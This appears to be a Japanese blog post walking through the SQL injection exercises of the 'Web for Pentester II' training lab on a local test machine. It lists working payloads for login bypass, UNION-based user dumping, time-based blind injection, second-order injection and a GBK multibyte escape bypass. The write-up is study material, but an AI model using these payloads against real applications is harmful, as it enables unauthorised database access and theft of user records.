Shikata Ga Nai

Private? There is no such things.

Web for Pentester IIのSQL injectionsをやってみた

Hello there, ('ω')ノ

 

SQL injectionsを。

 

f:id:ThisIsOne:20210517164526p:plain

 

まずは、Example1から。

パラメータに、'を入力するとエラーが表示されるので、脆弱性なのですが。

 

f:id:ThisIsOne:20210517102923p:plain

 

下記のサイトを参考に。

 https://github.com/payloadbox/sql-injection-payload-list

 

f:id:ThisIsOne:20210517103705p:plain

 

下記のペイロードを入力して送信するとSuccess!!の表示が。

 admin' or 1=1#

 

f:id:ThisIsOne:20210517103245p:plain

 

次にExample2を。

下記のペイロードで表示数を制限することもできると言いたいようで。

 1' or 1=1 limit 1#

 

f:id:ThisIsOne:20210517144653p:plain

 

問題がないため、何をもって正解なのかはわからず。

 

f:id:ThisIsOne:20210517144628p:plain

 

次にExample3を。

 

f:id:ThisIsOne:20210517071728p:plain

 

アクティブスキャンでは、エラー表示レベルしか検出できず。

2つのフィールドを使用しての検出には、ツールは対応していないような。

 

f:id:ThisIsOne:20210517071504p:plain

 

ペイロードをヒントに。

 

f:id:ThisIsOne:20210517072216p:plain

 

バックスラッシュでエラーが。

 

f:id:ThisIsOne:20210517072134p:plain

 

どうやら'をフィルタリングしているようで。

\を使って2番目の一重引用符を文字変換することで。

'and password =』をユーザ名とすることに。

ユーザー名の一重引用符はエスケープされるため、バイパスされます

 

 select * from users where username =’\ ‘ and password =or 1=1#

 

f:id:ThisIsOne:20210517073900p:plain

 

Example4にアクセスすると入力エリアはないので、URLで対応を。

 username='hacker'

 ⇩

 http://192.168.0.227/sqlinjection/example4/?req=username%3d%27hacker%27

 

f:id:ThisIsOne:20210517114332p:plain

 

最後に'を追加するとエラーが表示されて。

 http://192.168.0.227/sqlinjection/example4/?req=username%3d%27hacker%27%27

 

f:id:ThisIsOne:20210517114526p:plain

 

もう少し踏み込んで、下記のペイロードを挿入すると。

' or 1=1 #

http://192.168.0.227/sqlinjection/example4/?req=username%3d%27%27%20or%201=1#

 

f:id:ThisIsOne:20210517114726p:plain

 

Example5は、UNIONベースのSQLインジェクションで。

 

f:id:ThisIsOne:20210517115525p:plain

 

下記のペイロードを挿入すると。

 UNION ALL SELECT USER()--

 ⇩

 http://192.168.0.227/sqlinjection/example5/?UNION%20ALL%20SELECT%20USER()--

 

f:id:ThisIsOne:20210517115413p:plain

 

全ユーザを取得するには下記のペイロードも有効で。

 union all select * from users

 ⇩

 http://192.168.0.227/sqlinjection/example5/? limit=3%20union%20all%20select%20*%20from%20users

 

f:id:ThisIsOne:20210517133855p:plain

 

Example6では、下記のようなパラメータで表示されていて。

 http://192.168.0.227/sqlinjection/example6/?group=username

 

f:id:ThisIsOne:20210517134310p:plain

 

下記のペイロードを追加すると。

 union all select * from users

 ⇩

 http://192.168.0.227/sqlinjection/example6/? group=username%20union%20all%20select%20*%20from%20users

 

f:id:ThisIsOne:20210517134607p:plain

 

他にもパラメータなしでもユーザ名の取得はできて。

 http://192.168.0.227/sqlinjection/example6/?

 

f:id:ThisIsOne:20210517134815p:plain

 

Example7は、アクティブスキャンでまともなペイロードが見つかったので。

 

f:id:ThisIsOne:20210517134853p:plain

 

下記のペイロードで遅延を確認できて。

 192.168.0.227/sqlinjection/example7/?id=(select*from(select(sleep(20)))a)

 

f:id:ThisIsOne:20210517135033p:plain

 

Example8でもSQLインジェクションは検出できず。

 

f:id:ThisIsOne:20210517184243p:plain

 

適当にユーザを登録していって。

下記のペイロードを登録することで。

 admin' union select 1,user(),3#

 

f:id:ThisIsOne:20210517184046p:plain

 

ペイロードを保存したIDをクリックすることで、SQL文が機能して。

adminで登録したユーザの情報が取得できて。

ストアドXSSに似たようなもので。

 http://192.168.0.227/sqlinjection/example8/users/16

 

f:id:ThisIsOne:20210517184131p:plain

 

Example9を。

 

f:id:ThisIsOne:20210517071832p:plain

 

アクティブスキャンでは何も検出されず。

 

f:id:ThisIsOne:20210517071659p:plain

 

これは、mysql-real-escape-stringと呼ばれるフォームフィルタリングが。

使われているようで。

エスケープ文字を削除して、コードの挿入をブロックするPHP関数のようで。

ただし、データベースと接続設定が同じ文字セットを使用していない場合は。

この関数には欠陥があって。

なので、GBK(簡体字中国語の文字セット)だとエスケープしないので。

例えば、下記のようなペイロードを。

 

 呵' or 1=1 #

 蓼' or 1=1 #

 ⇩

 %E8%93%BC%27+or+1%3D1+%23

 

f:id:ThisIsOne:20210517101944p:plain

 

f:id:ThisIsOne:20210517102114p:plain

 

もしくは、下記のようなペイロードでも。

 %bf%27+or+1=1+--+

 %bf'+or+1=1+--+

 

f:id:ThisIsOne:20210517101614p:plain

 

Best regards, (^^ゞ